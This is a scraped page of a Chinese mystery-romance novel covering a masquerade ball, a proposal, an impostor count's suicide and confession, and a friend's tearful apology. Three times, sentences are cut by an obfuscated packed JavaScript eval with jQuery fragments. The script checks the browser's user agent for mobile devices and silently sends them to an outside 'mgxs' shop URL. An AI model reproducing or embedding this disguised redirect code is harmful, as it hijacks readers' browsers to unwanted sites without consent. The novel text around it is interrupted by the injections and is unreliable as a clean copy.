;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115606|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一遍舞会上的人:女士们大多身穿美丽的裙子,装扮成故事中或历史上的美女、贵妇;男士们的打扮则五花八门一些,身着各样在戏服店里租借来的奇装异服。 Z伯爵扮的是罗宾汉,穿着麂皮靴,橄榄绿紧身衣裤,那头明晃晃的金发在插着羽毛的帽子下闪闪发亮。 奥丽芙一瞧见就在心里暗暗皱眉:他倒好意思装绿林好汉,分明还是扮作风流的西班牙贵族堂璜更合适。 Z伯爵迎上来。一天前,他还坐在斯塔福德侯爵夫人的包厢中,与侯爵小姐亲热交谈。奥丽芙高傲地扭开了头。 德·雷斯托子爵扮成一位中世纪骑士,银色的盔甲倒挺衬他忧郁、清秀的面容,他脸上没有一丝笑意,落寞地站在一旁,垂着眼睛,奥丽芙甚至不知他看没看见自己。 小默顿一身华丽的意大利贵族服饰:红色丝绒上衣,紧身裤,长袜,腰间佩一把剑,扮作罗密欧。 小默顿这副打扮多少显得不伦不类。因为他虽然仪表堂堂,但庄重有余,俊秀不足——说Z伯爵不像罗宾汉,是因为他缺少侠义精神,从外表看,他确有几分身手敏捷、纵横林野的劲儿;而小默顿,不管他内心是否浪漫,他的外形和气质与罗密欧大相径庭。 奥丽芙不明白自己为何如此“苛刻”,这种时候还忍不住评判别人,她赶紧往小默顿旁边看了看。 没瞧见默顿公爵夫人和公爵小姐,但默顿公爵今天也来了,也选择了莎士比亚戏剧人物——默顿公爵显然有些幽默感,他穿条深色长袍,戴着无边帽,贴着假胡子,腰间拴着钱袋——把自己扮成了阴郁、贪婪的“威尼斯商人”夏洛克。 小默顿远远地向奥丽芙致意,奥丽芙回了一礼,但没有走过去。 她得先过了最难那关——拜见舞会的主人,韦克林公爵夫人。 韦克林公爵夫人扮成了叶卡捷琳娜二世,被一群珠光宝气、戴着羽毛头饰的贵夫人簇拥着。还没走到她面前,奥丽芙先很有礼貌地屈了屈膝,引来对方露出一抹赞许和鼓励的笑容。这时,舞曲的前奏响起,一位青年正巧在奥丽芙身边,向她伸出手,奥丽芙就和他跳了起来。 几支舞之后,奥丽芙看出,没有人怀疑她。但她总感觉有一种异样、不安的情绪四处弥漫着。有几次,她听见别人小声议论“范德梅尔伯爵”,似乎对他这么一个喜欢热闹的人迟迟未出现感到奇怪。 和奥丽芙跳舞的几个人她都不认识,他们做了谦逊的自我介绍,期待地望着奥丽芙,准备聆听美人的话语。但奥丽芙不发一言,她脸上有一种高贵、庄严的表情,起到了震慑作用。很快,那些青年便不敢多话了。 一次短暂的停歇,奥丽芙被子爵的母亲、德·雷斯托夫人抓住了。 “库珀小姐,斯塔福德侯爵夫人非常希望认识你。”德·雷斯托夫人亲热地说。 侯爵夫人和韦克林公爵夫人正在几步之外望着她,奥丽芙没法逃开,只好跟德·雷斯托夫人走上去。 她匆忙扭头,朝德·雷斯托夫人投去请求的一瞥,可惜对方完全没有留意,已经在向侯爵夫人说话了。 侯爵夫人脸上开始泛起笑容,奥丽芙哑着嗓子低声道:“斯塔福德侯爵夫人……” “啊,她不是……”站在旁边介绍的德·雷斯托夫人叫出半句,抬手捂住嘴。 周围有音乐声和说话声,德·雷斯托夫人的叫喊没被听见,但她奇怪的举动大家都看见了。韦克林公爵夫人惊讶地问:“怎么了?” 32. 求婚告白 德·雷斯托夫人望一眼公爵夫人,眼睛再移到奥丽芙身上,神色很奇怪,却说不出话,这就更令人起疑。 于是,大家疑问的目光都跟随她投到奥丽芙身上。奥丽芙只好硬起头皮,准备解释嗓音变化的缘由,指望德·雷斯托夫人能趁机转过弯,帮她遮掩两句。 正要开口,德·雷斯托走过来,大声说:“库珀小姐,能和我跳支舞吗?” 说完,他立即抓起奥丽芙的手,脸上一副勇敢的表情,向他母亲和其他几人一点头。 德·雷斯托夫人这才尴尬地笑着,为儿子的无礼行为向几位夫人道歉,夫人们都乐意看到别人的风度举止远不及她们自己,宽宏地笑了笑。 舞曲响起,德·雷斯托低声说:“别担心,小姐。” 这是奥丽芙第一次和德·雷斯托跳舞,谁都知道,休伯特·德·雷斯托从来不和库珀小姐之外的女孩共舞。 奥丽芙非常感激。“谢谢你,子爵。”她悄悄说,“还能请你再帮个忙吗?请替我向公爵夫人说一声,就说我嗓子不大好,没法陪她们说话了。——等会儿我就要回去。” “当然,小姐,你放心。” 德·雷斯托答应后,欲言又止地瞅着她。 奥丽芙急忙说:“库珀小姐今天不太舒服。” 许久后,德·雷斯托小心翼翼问:“她不太难受吧,我希望?”奥丽芙正好抬眼看他,看见他眼中忧伤的神情。 刚听说要举办舞会的消息时,从大家的闲聊中,奥丽芙得到的印象仿佛是德·雷斯托并未被邀请参加:因为他母亲与韦克林公爵夫人不熟,而公爵夫人虽然喜欢彬彬有礼的青年,德·雷斯托却有些太腼腆了,不大在她面前献殷勤。 如果真是那样,德·雷斯托后来肯定做了一番努力,使自己最终能出现在这儿。这全是为了伊迪丝——他知道伊迪丝多么看重这场舞会。他并未期盼准能与她跳舞,只是想看看她打扮后的样子。 奥丽芙被感动了。德·雷斯托自然对所发生的事一无所知,舞场中的人应该都还没听到关于范德梅尔伯爵的消息。别人顶多只为伯爵今晚没来感到奇怪,只有德·雷斯托一人,他为范德梅尔伯爵与伊迪丝两人同时缺席这一事实感到伤心。 奥丽芙微笑着对德·雷斯托说:“到明天,库珀小姐一定就好多了。我来之前,看到她在房间里休息。” “啊。”德·雷斯托宽心地叹了一声。 跳完这支舞,恐怕不会有其它事了,奥丽芙打算再等几分钟就离开。 这时,小默顿直挺挺地走到她面前,躬身邀请她。 奥丽芙随他步入舞池。她在其它舞会上与小默顿跳过几回,记得他跳舞时从不说话。自然,今天她也用不着开口,她的目光向下,不觉被小默顿的佩剑吸引了。 这是把十六世纪风格的细剑。剑柄镶着银丝,护手上刻满了美丽的花纹。 道具剑可做不了这么精细,这肯定是真剑,是真正古老家族所拥有的古老武器。除过那位不幸失去继承权、逃亡国外的先生外,默顿家族的祖先中,一定还有人决斗过,说不定用的正是这柄剑。——尽管小默顿不像罗密欧,但奥丽芙对他的佩剑倒很艳羡。 假若不是今天这个场合,她会请求细看一番。 她渴望拔剑出鞘,向那位当前不在场的仇敌,做出一个勇猛、利落的刺杀动作。当然,这只是想想而已。还是将对罪犯的制裁,留给铁面无私的法律吧。 谁知这一次,小默顿竟先开了口,他说:“库珀小姐,你一定早已看出了我对你的仰慕。”他停下,似乎是要定定神。 奥丽芙吃了一惊。万没料到小默顿会这么开场,还把她错当成伊迪丝! “我——”她还没说完一个字,小默顿踏错了步子,险些踩到她。 小默顿旋即道歉,一口气地说:“库珀小姐,请原谅我跳舞心不在焉,因为我心中极不安宁,除非说出我的心里话—— “很抱歉我在这个时候提出。本来我愿意等到一个更安静、更正式的场合,但今天晚上,你使我看到,我的一切忍耐和压抑都是徒劳的。我无法再拖延下去了。我对你一往情深,我希望有幸能得到你的心。库珀小姐,你什么都不缺,我几乎无法提供任何你想要的东西。但你会看到,备受尊崇的地位会给人带来金钱无法带来的好处。嫁给我,你将获得这样的地位,你会拥有一个更荣耀的姓氏,有朝一日,别人会称你为默顿公爵夫人。” 可能因为穿着一身罗密欧装束,也可能因为他们身处盛大的舞会中,小默顿的声音比以往多了一些热情,但也只是稍稍多一点而已。 奥丽芙的心跳都没加快——就算加快,也只是因为眼下情形太尴尬。哪怕小默顿是对她本人表露心迹也无法使她激动——要不是这些话还有点好笑,一个姑娘几乎不可能收到更乏味的表白了。 她抬头看了一眼小默顿。小默顿个子高,视线只会落在她发心。但他的目光根本没落在她身上,而是盯着她身后某个地方。他脸上没有表情,至少没有与他话语中深情厚意相搭配的表情。 这能算什么“深情厚意”啊,他连求爱的对象都认不出来,还大谈“崇高地位能带来的好处”,他对伊迪丝的内心和对她的外表一样不了解。 奥丽芙被人求过婚,知道淑女在这种场合该如何得体地回复,好顾全对方的面子。不过,冒充别人回复,再委婉的语句也没法“得体”,要是小默顿发现她不是伊迪丝,肯定会羞愤死的。 虽然一般来说,小默顿是个亲切、宽厚的人,但谁知道在遭此“羞辱”时,他会不会愠怒失态,别忘了,他还随时可以抽出剑呢,可别闹出乱子来。这回,一个字都不能出口,甚至不能用眼睛表达。 奥丽芙唯独感激小默顿是在跳舞中间求婚,要是换个安静的场合,就非得逼她开口了。她做出一点害羞的模样,向旁边望望,假装担心别人听到。 因为要说话,小默顿没有一步和乐曲合上拍,他们二人只是在舞池中慢悠悠转来转去,但是,他们的姿态还算优雅,而且,可能是小默顿带有华丽刺绣的深红色上衣配着奥丽芙雅致的白裙子,格外令人赏心悦目,奥丽芙感到,周围的人纷纷投来羡慕的目光。这时,他们又转到了舞池边,站在那儿的默顿公爵正望着他们二人,脸上显出欣慰、赞许的笑容。 不单单是赞许,那一瞬间,奥丽芙敢说,她看见了一个真正的“夏洛克”——对财富的渴求,深深映在了默顿公爵脸上。 奥丽芙有点明白了:对婚事,小默顿本人未必有多么热心,但是,身负家族对继承人的期许,他认为,必须娶一位能给默顿家族带来巨大利益的妻子。 奥丽芙决定冒个险:她对自己的舞伴瞅了一眼,警告地摇摇头。 小默顿的表情既像是失望,又像是松了口气。他接着说:“我知道,可能对你太突然了,你不用马上答复我。” 奥丽芙又坚决地摇了一次头。“你不肯答应吗?”小默顿语气低落下去,停了好一会儿,他说,“我早就料到了。不过,或许有一天你会改变主意。请记住,不管你现在或将来的答复如何,我永远是你忠实的朋友和仆人。” 他抓住奥丽芙的那只手用力将她的手压了压,但再没有什么放肆的举动。两个人在沉默中消磨完剩下的半支曲子。 这支舞跳得真累,与小默顿分开后,奥丽芙找了个座位坐下。还没等她休息一会儿,Z伯爵拿着两杯饮料走来。 “小姐,我非常喜欢你今天这种煤玉一般的头发。”一坐下他就说。 奥丽芙知道Z伯爵肯定早就认出来了,没必要在他面前假装,但她一点都不想和他交谈,于是,依然沉默不语。 Z伯爵接着说:“我还不知道,现在流行把这里涂这么重吗?”他用手指往眼圈上比了比,看见奥丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131912|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芙的目光,急忙又补充,“当然,当然,很好看,特别是在戏台上,或者穿戏装的时候。” 涂成深色的眼眶会使眼睛显得更大、更醒目,同时使别人注意不到眼珠原本的颜色。不过,Z伯爵是在暗示昨天的事。奥丽芙向四周望了一下,找到斯塔福德侯爵小姐的身影,视线划出长长的弧度,最终停在Z伯爵身上。 Z伯爵没看侯爵小姐,还在向奥丽芙全身打量,笑着说:“小姐,你从头到脚都非常像阿尔忒弥斯,不需要加上弓箭说明。但我不由想到,库珀先生收藏着一把弓箭——真是件大家伙,不过,可能还挺好使——要是你背着它,我们就可以切磋一下箭术了,或者,更恰当的说法是,我斗胆向你请教。” 罗宾汉的箭术天下闻名,而狩猎女神当然走到哪里都离不开她的金弓金箭。奥丽芙嘴边不禁露出一点笑意。 “啊,你终于笑了。”Z伯爵喜悦地说,“刚才我一直忐忑不安,简直不敢过来和你说话。你又不肯告知我哪里开罪了你,我只好自己胡思乱想:前天我们分别的时候还很友好,今天又是刚刚见面,那就只能是昨天了。而昨天——你要知道,小姐,那些烦人的应酬有多少,有时实在推不开。” 得知因姆克落网,伊迪丝平安归来,奥丽芙的心情已经放松了不少,没法当真去怪Z伯爵。但这种话她可不爱听。她正色摆了摆手,指指自己的喉咙,意思是自己因为嗓子原因不愿说话,与Z伯爵和谁应酬无关。 “我晓得,我晓得。”Z伯爵马上点头,“你放心,我不会讲出去。不然,别人不说,德·雷斯托子爵肯定第一个提出决斗,而我真不愿伤了他,别看他披盔戴甲,一样不是我的对手。至于那位佩剑的先生嘛——请相信,我使剑不亚于使弓,所以,更不在话下。” 奥丽芙不知道他是随便吹吹牛,还是另含深意。 “好了,干坐着惹人见疑,我们还是跳舞去吧,跳舞就不必开口了。” 然而,一曲中,他还是低低说了一句:“我猜你要扮成海岛上的公主,不算很错。阿耳忒弥斯也可能出现在海边——月光下的大海,赤脚走在沙滩上。” 真奇怪,奥丽芙自己正在想着大海。她面朝一轮圆月之下、深蓝色、波光粼粼的海面。阿耳忒弥斯,月亮女神和狩猎女神,月亮因她升起,海潮为她涌来,她轻盈的脚步落在沙滩上,波浪冲刷着她赤裸的双足。她英姿飒爽,背着弓箭。她向大海眺望,会看见什么? 深深,幽幽,她看着Z伯爵海水蓝的眼睛。 . 奥丽芙望一眼厅里的大钟,这时,她的舞会上已经呆了快一个小时,和几乎所有年轻男士都跳过一支舞了。瞅了个没人注意的时候,她悄悄离开舞厅。 奥丽芙认为,这个晚上自己肯定难以入眠,她想出去透透气,便没有回房,径自走到大楼外。 舞会大厅辉煌的灯烛映在窗上,一阵阵乐曲和喧闹传出来,而伊迪丝房间的窗户则黑忽忽、静悄悄的。 站了几分钟,奥丽芙准备回去,进门前,她看到一辆马车慢慢停了过来,驾驶座上那个是Z伯爵的仆人,之前在SevenDials救了她的吉姆。 奥丽芙刚刚感到意外,就看见Z伯爵脚步匆匆奔出来,与吉姆小声说了一阵话。 接着,跳上车之前,Z伯爵忽然转头望向奥丽芙。她便上前问:“你这么早就走,伯爵?” Z伯爵露出一张笑脸:“你不是也一样,小姐?”又低低补一句,“我在舞厅里烦闷地转了几圈,只好走。” 舞会提前退场不是Z伯爵的一贯作风,他的语气似乎暗示奥丽芙离开是他离开的原因。奥丽芙板起面孔。 Z伯爵大笑着说:“我认为跳舞不管跳几支,只要能尽兴就好,大可不必非得跳到两三点之后。这个时间走最合适不过了,吹吹夜风,从从容容回家。对吧,吉姆,我们可以慢点。晚安,小姐。” 33. 交口赞誉 回到房间,奥丽芙好好泡了个澡,把身上涂的油彩洗掉。她的精神仍然处在兴奋中,怎么也不想上床睡觉。时针已经转过一点,她还在屋里走动。有人敲门,是酒店夜间值班的侍者。 他递来一封信:“布莱克小姐,抱歉打扰,我看见屋子亮着灯,库珀先生说,若你还没有休息,这个交给你。” 奥丽芙谢了他,立即拆开信封。信纸上是库珀先生粗大的字体,但写得很潦草,可见是急急忙忙中写就的,奥丽芙也急忙开始读。 信不长,如下: 亲爱的费克特小姐 我刚刚获知了一个由布朗先生亲自带来的讯息。我想,你可能正等着这个消息,趁布朗先生还在这儿,我可以一边与他确认细节,一边记述经过。请知悉:杀害费克特先生的凶手已在其寓所内自杀身亡。 多亏了你,布朗先生已做好了充足准备,从今天上午,便派人在各个车站守着,令范德梅尔伯爵(我暂时不知道该如何称呼他才好,姑且还是用这个旧称谓)插翅难飞。 不过,布朗先生猜测,伯爵最有可能的目的地是多佛尔港,于是,布朗先生本人便去了维多利亚车站。 果然,今天晚上八点半,他在那儿发现并拦截了范德梅尔。 被拦住后,范德梅尔答应绝不损害伊迪丝的名誉,请求允许他独自离开伦敦,布朗先生没有答应,但并未提到费克特先生,只说警方对他的身份有疑问,需要他留在伦敦,等待调查结果。 布朗先生送范德梅尔伯爵回到他的住处,并以美国使馆的名义,联系警察在宅邸外面看守,这可能是一个错误。距十二点约五、六分钟时,警察听到卧室内传出枪响,他们冲进房间,那位假充伯爵的恶棍已经死了——死亡是确凿无疑的,有人报告给布朗先生,刚才他赶去,见到了尸体。那边已经被警察厅接管,布朗先生没什么可做的了,他立即回来告知我详情。 好在,罪犯死前留下遗书,承认自己杀害费克特先生的罪行,其余情况我们要到明天才能知晓。布朗先生粗略浏览过遗书,确信没有涉及伊迪丝的内容,这点我们可以放心。 伊迪丝说,他本来准备经由比利时逃去瑞士。 我和伊迪丝怎么感激你都不过分,但今晚不再打扰你了,愿你有个好梦。 你忠实的:亚当·库珀 接下来几天,奥丽芙主要从报纸上、少部分经由布朗先生补充,获悉了因姆克的生平和犯罪事实。报纸只字未提到库珀先生和库珀小姐,不过,因姆克与伊迪丝的相识过程,是奥丽芙本来已经知晓或猜测到的事。 假冒范德梅尔伯爵的这个人,原名扬·因姆克。 他出生在荷兰的一个市民家庭,家境富裕。其父在阿姆斯特丹从事进出口贸易,他对独生儿子寄予厚望,希望儿子能够继承衣钵,还想把儿子培养成一名绅士。 因姆克得到了所能得到的最好的教育。不过,充足的教育并没能提升他的品德,却使他更加渴望金钱和受人景仰的地位,同时也助长了他不劳而获的妄想。双亲过世后,他终日游手好闲,迅速花光家产,到处混日子。 在阿姆斯特丹一家赌场,他结识了同岁的丹尼尔·范德梅尔伯爵,两人一见如故。伯爵将因姆克带回哈勒姆,将他介绍给母亲和妹妹。 因姆克发现伯爵的妹妹相貌美丽,暗地里追求她。范德梅尔小姐被因姆克的英俊外表和花言巧语蒙蔽,又以为他能够劝说哥哥不再沉迷赌博,很快和因姆克订了婚。 可是,和因姆克结交后,丹尼尔堕落的速度反倒加了倍,终于有一天,他身上一个钱都掏不出来,并且一个钱也借不出来了。丹尼尔向因姆克透露,自己无颜面对亲人,想要一死了之。这时,因姆克发现亲事已经无利可图,又另生一计,劝说丹尼尔换个地方再碰碰运气,借给他一笔钱,还让伯爵在旅途中冒用自己的名字“因姆克”,以防止债主追上他。 丹尼尔使用因姆克的身份离开荷兰,一直跑到了意大利。他的母亲和妹妹在家中惊慌失措,因姆克向她们保证,一定把丹尼尔找回来。他直奔意大利,在那里,两人见面,丹尼尔又一次输光了钱,决意要自尽,嘱托因姆克替他照顾家人。因姆克表面上劝解,实际上却使丹尼尔坚信只有死亡才是唯一的解脱。他很快实施自杀,因姆克偷走他身上所有证明身份的东西,让别人以为死的是因姆克,自己则摇身一变,成了范德梅尔伯爵。 因姆克在世上无亲无友,唯一在乎他的人就是远在荷兰的未婚妻,因姆克认为,只要不回荷兰,身份被揭穿的可能性就不大。他每隔一段时候便给范德梅尔小姐去一封信,谎称还没有找到丹尼尔,但已得到一些消息,继续找下去很有希望,藉此稳住母女二人。而这时,老伯爵夫人为了应付债主,已卖掉栖身的房屋和身边最后一点值钱的东西,和女儿搬去陋巷,过着贫民的生活,再也无力通过别的方式寻找儿子,只能听信因姆克的话。 假伯爵先是在马赛混了一段日子,无人识破,从此胆量愈壮,赌博赢了一笔钱后,雇仆从,租马车,大摇大摆地去了巴黎。在巴黎,他听人说库珀先生是个真正的阔佬,又只有一个女儿,便收敛本性,装成一个潇洒、风度翩翩的青年,接近库珀小姐…… 后面的事是奥丽芙不忍细看、细思的,但与她的猜测差不多:因姆克与费克特先生会面中,发现费克特先生对丹尼尔·范德梅尔赌博败家的事有耳闻,因姆克非常惊慌,担心库珀先生因为自己是个赌徒而生气,这还罢了,他更怕费克特先生联系到荷兰的老伯爵夫人和小姐,牵出自己假冒伯爵一事。一不做二不休,他假装要向费克特先生忏悔错误,约他晚间在户外散步详谈,在一处僻静的马路,他杀死了费克特先生。 因姆克的认罪自白写得一清二楚,伦敦警方不得不纠正费克特遇害一案的结论,由此,他们必须联系遇害者的亲人。 这样,尽管布朗先生和库珀先生没有将奥丽芙的身份向外泄露一个字,但新闻记者很快发现“布莱克小姐”就是费克特小姐,于是,所有人全都知道了。 嗅觉灵敏的记者们还把费克特小姐与警方口里语焉不详的“协助破案的神秘姑娘”联系在一起,察觉到一则能引人入胜的新闻。一连几日,记者们蜂拥而至,候在绿窗酒店外面,请求采访。奥丽芙一个也不肯见,请酒店总管贝斯特先生统统代为谢绝了。 不过,记者还是有办法,即使没有见到本人,他们也写出了一篇篇有趣的新闻故事,甚至可以说,和真实情况出入不大。在报道中,奥丽芙被盛赞为坚毅勇敢、心思缜密、足智多谋的年轻女孩,正是因她乔装改扮,暗中接近目标,才成功揪出杀父凶手。很多人建议苏格兰场为费克特小姐颁发荣誉奖章。 警察厅没有采纳这一建议。但迫于压力,他们在报上刊登了一则声明,为办案中的疏漏向奥丽芙公开致歉。 对伦敦警察来说,这是一段非常不好受的时候,因为,在假范德梅尔伯爵自尽当晚,伦敦城里再次发生了珠宝窃案——已是第七起! 前面六件失物依然全无下落,而这回,窃贼甚而偷到了教堂:万圣教堂丢了一颗未镶嵌的红色尖晶石。这颗宝石重达四十五克拉,由多位富有的教众集体出资,从宝石商人手中购得,在被盗的前一天刚被献给教堂;年事已高的教区长巍颤颤的双手捧着它,亲自将它安放在藏宝室中。 这次窃贼改变了模式:首先,他连续两天偷盗(尚不能确定教堂失窃究竟发生在午夜钟响之前还是之后,不过只有几分钟之差,姑且算作河岸街窃案的第二天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147483|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ),这使警方深感羞辱和愤怒,决定尽一切力量阻止盗贼偷下一件珠宝;再者,以前盗贼只偷私人财物,此次却偷了教会的物品,这也令所有教民义愤填膺。 不过,总的来说,伦敦上流社会似乎已对珠宝被盗不再大惊小怪了,要不然,就是大家为“假伯爵”事件所震惊,无暇关注其它。在一间间布置奢华的客厅中,被谈论最多的是假充范德梅尔伯爵的因姆克,以及,假装布莱克小姐的费克特小姐。 见过奥丽芙的太太小姐们或钦佩或怜惜地回想名不见经传的“布莱克小姐”:原来她是费克特小姐,是纹章学家费克特先生的女儿,她为了寻找杀父仇人,求助于库珀先生,冒充成她的教女。一时间,所有人对失去双亲的孤女充满了同情,无人忍心责怪她欺骗了大家。 确实有人回忆起那天的化装舞会,想到费克特小姐没有参加。这是很自然的,当时她的心情多么紧张啊,只顾担心“范德梅尔伯爵”会不会被捕,杀父大仇能否得报,肯定没有旁的闲情逸致。还有人提出,那天,库珀小姐在舞会上戴了黑色假发,不肯说话,表情严肃,举止有几分像费克特小姐,这都是有意为之——因为库珀小姐在为她的朋友担心,同时,想要给朋友鼓劲。 那些从前没见过奥丽芙的人,都想要见一见她,信件如雪片般飞来。甚至连外交大臣布莱登公爵也给她写了一封亲笔信。信中,公爵对奥丽芙表示了鼓励和慰问,也对自己未能识破因姆克的骗局流露出少许自责之意,信的最后,还附上了公爵夫人的两句话,希望奥丽芙能去家中作客。 对布兰登公爵和其他人的好意邀请,奥丽芙都婉言谢绝了,她谁也不想见,只想一个人呆着。 不知为何,她总有点不满意,也不知是对自己,还是对谁。她还有一种无法排解的忧伤情绪,并且,这不是怀念父亲引起的忧伤。对于这种心情,奥丽芙百思不得其解。 . 有好几天,奥丽芙不曾出过绿窗酒店的大门,伊迪丝也一样,外人以为两位姑娘肯定是彼此作伴,等待事情的热度逐渐散去,便会像往常一样,打扮得漂漂亮亮,出席各种宴会。 其实,奥丽芙已经打算回诺丁汉郡的姨妈家了,但离开伦敦前,她得见见伊迪丝——自从那晚伊迪丝披着斗篷回来,两人还没有碰过面。 这天,奥丽芙终于想好了一些劝慰的话,来到伊迪丝的屋子。珍妮开了门,请她坐在沙发上,片刻,伊迪丝从卧室走出来,向奥丽芙笑了笑,表情很生硬。奥丽芙便不知该从何说起了,两个人默默坐着,突然,伊迪丝发出一声啜泣,接着便泪水涟涟。 “对不起。”她扑上来抓住奥丽芙的手,“对不起,我从来没有对你说过真心话。从见到你那天,我就一直嫉妒你,因为你又美丽又聪明,你懂得比我多。我知道大部分人都怎么看我:虽然富有财产,但是娇生惯养,头脑浅薄,只知道拿漂亮衣服打扮自己。我参与凯里夫人她们搞的慈善工作,但我心里并不是真的想要帮助穷人,是因为反正我钱多得花不完,我希望别人夸我。我既不聪明,也不善良,我就像个玩偶。” 奥丽芙想要反驳,伊迪丝用力按住她的手,不让她说话。“所有人,只要认识了你,就更喜欢你,我看得出来。” 奥丽芙的心飞快地、甚至于欢快地跳了几下。但她马上脸红了。不是这样,肯定不是这样,根本不可能,伊迪丝的想法毫无道理。尽管奥丽芙坚定地对自己这么说,她的心却跳得越来越厉害,好像自己做了一件很错很错的错事,又羞于承认。 “连我父亲也总是赞扬你。但我不肯承认你比我强,总是想找到你的缺点,想贬低你。现在我才知道,你比我想的还更好,更了不起。” “不是的……”奥丽芙终于能勉强开口。 34. 道别之前 “你能原谅我吗?”奥丽芙和伊迪丝几乎同时说出一模一样的话。 伊迪丝笑了一声,随即拿手捂住脸:“我还没说到最丢人的部分呢。那时候,只有范德梅尔先生不同,我是说,我以为只有他不同,他把我看得超过一切人。 “我有一次偷听到他和别人说起你,他说:‘那个装腔作势的小妞。’我本来该看出他是个什么人的——一个愚蠢、狂妄自大的家伙,但我偏偏没有,我以为他不喜欢你,说明他有眼光,他挑中了我。 “我还在他面前说过你的坏话,我说不知道你成天跟着我们,想要做什么。他说:‘那还用问,当然是想钓个金龟婿了。不过大概不容易成功,男人不喜欢一本正经、对人对事都苛刻、像个□□似的女人。’听他这样说,我心里竟然感到高兴。——你根本不是那样的人!” 伊迪丝弯下身,把脸埋在手心,奥丽芙轻轻将她拉起来:“他爱怎么说就怎么说吧。有时候,我确实有点苛刻,但你从来不会,你总是能看到别人的优点,看到他们最好的一面,你已经把我看得比实际要好多了。” “不,是你把我变好了。”伊迪丝转过头,透过晶莹的泪花望着奥丽芙,“光和你说这些话,我就觉得我又变好了一些。我再告诉你其它事,关于我和范德梅尔先生…… “我和他从没有偷偷订婚。我想着,等合适的时候,我告诉爸爸我喜欢范德梅尔先生,爸爸不会不同意。但范德梅尔先生说,你不喜欢他,会从中阻挠,而我父亲又看重你的意见。我告诉他,假如我父亲真的不允许,我不会服从父亲。但我以为只是说说而已,不至于到那一步。 “那次在安斯蒂家,你看见我们吵架——我们确实在吵架,吵架的原因别让我说了,好么?”伊迪丝从侧面悄悄瞟了一下奥丽芙,又难为情地转开头。 “后来,你好心向我指出范德梅尔先生的卑劣行为,我却骗了你,说我已经知道了,其实我不知道,但我以为你说的未必就是真话,而且,反正我不在乎。那时,在我眼里,范德梅尔先生是最好不过的人。只有一点我对他不高兴,就是我们吵架那回事。 “那次,我决定要冷一冷他,让他心里感到特别后悔,然后,再接受他的道歉。 “因为与范德梅尔先生赌气,还因为你对我说的那些话——我怕你会告诉我父亲,爸爸知道了肯定很生气,说不定再也不许我和范德梅尔先生见面。为这两个缘故,我决定,假装和范德梅尔先生疏远一段时间。 “过了几天,我看你大概是不会对我父亲泄露我的秘密了,但我还是很担心——担心我没有及时向范德梅尔先生解释清楚,误会加深,他说不定会与我完全决裂。就在我最忐忑最烦躁的时候,他来向我道歉,我一下子就原谅了他。 “我以为,我们的感情经受住了一次‘考验’,在心里,我对他比之前还要依恋。不过表面上,我还是很当心,我特意告诉范德梅尔先生,在你面前,别显露出我们已经和好。 “那天——也就是我和他……预备离开伦敦的前两天,我记得那天有拍卖会,拍卖会后,你和我父亲都去别处了,范德梅尔先生来找我,我与他见了面。当时,并没有什么异样,我们聊得很开心。他想知道我的化装舞会装扮,我没告诉他,我想在舞会上再让他看见。他会明白,我是为了他才那样打扮的,如果有必要,我会为了他抛开我所有的一切。唉,我多傻呀。” 伊迪丝爆发出一声悲泣。奥丽芙轻轻搂住她,抚她的背:“别再想了。” “不,不,让我说完。我必须把这些都讲出来,这样对我更好。”伊迪丝把手绢使劲在眼睛上压了压,接着说: “那天分别时,我和范德梅尔先生都认为,再次见面是在化装舞会上。因为第二天,我们两人都另有事情,而下一天,就是舞会当天了。 “可是,第二天晚上,他忽然又来找我。——不是正式见面,是在花园,就像你曾经看到过的那样。我以为他忍耐不了和我分开四十八小时那么久,可当我到花园,他对我说的第一句话却是,他年少时犯过一些过错,被发现了,他没脸面再见我父亲,他是来和我道别。 “我问他是什么过错,他不肯说。他说只有我和他在一起,他才能获得足够的勇气承认他的错误,而现在,他要和我分开了,他不能忍受在我鄙视的目光下与我永远分别。 “我隐隐约约听说他曾经喜好赌钱,还欠过债,又有你对我说的话——尽管我一直不肯信,但那天晚上,我不得不信了。我以为他指的就是赌钱这件事,我说不要紧,要他和我一起去见父亲。 “范德梅尔先生不同意。他的意思好像是有债主正在追他,马上就会追上门,他必须尽快离开伦敦,否则就将身败名裂。他说我在他心中比世上一切都宝贵,他绝不能让我的名字有一丝一毫蒙羞的风险。他还要我放心,说为了我,他一定会恢复名誉,不管有多难,不管要多久。如果那时我还没有嫁人,他就再回来找我。 “我被他的话感动了,觉得自己特别重要,尤其是,对他特别重要——只有我才能帮他找回自信,帮他成为一个他自己都没想过的好人。 